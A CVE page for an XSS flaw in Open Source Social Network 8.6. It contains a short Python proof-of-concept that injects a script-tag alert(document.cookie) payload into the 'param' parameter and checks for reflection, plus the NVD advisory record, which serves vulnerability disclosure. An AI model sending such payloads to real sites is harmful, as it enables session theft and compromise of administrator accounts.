CVE-2025-63441

import requests import urllib.parse # CVE-2025-63441 PoC - XSS in OSSN Administrator Friends Endpoint # Target: Open Source Social Network (OSSN) 8.6 # Endpoint: u/administrator/friends # Parameter: param target_url = "http://target-site.com/ossn/" # Malicious XSS payload xss_payload = "<script>alert(document.cookie)</script>" encoded_payload = urllib.parse.quote(xss_payload) # Construct the malicious URL malicious_url = f"{target_url}u/administrator/friends?param={encoded_payload}" print("[*] CVE-2025-63441 XSS PoC") print(f"[*] Target: {target_url}") print(f"[*] Malicious URL: {malicious_url}") # Send the request (requires low-privilege authentication) try: response = requests.get(malicious_url, timeout=10) if xss_payload in response.text: print("[+] VULNERABLE! XSS payload reflected in response") print("[+] Admin interaction required to trigger the payload execution") else: print("[-] Not vulnerable or payload not reflected") except requests.RequestException as e: print(f"[-] Request failed: {e}")

{"cve": {"id": "CVE-2025-63441", "sourceIdentifier": "[email protected]", "published": "2025-11-03T17:15:33.327", "lastModified": "2026-02-04T20:18:56.493", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open Source Social Network (OSSN) 8.6 is vulnerable to Cross Site Scripting (XSS) via the parameter param` at endpoint u/administrator/friends."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 5.2}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opensource-socialnetwork:open_source_social_network:8.6:*:*:*:*:*:*:*", "matchCriteriaId": "BE22798F-C957-4737-8716-562EFACA196D"}]}]}], "references": [{"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork/issues/2501", "source": "[email protected]", "tags": ["Vendor Advisory", "Issue Tracking"]}, {"url": "https://github.com/opensource-socialnetwork/opensource-socialnetwork/releases/tag/8.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.opensource-socialnetwork.org/discussion/view/7663/open-source-social-network-ossn-86-has-been-released", "source": "[email protected]", "tags": ["Product"]}]}}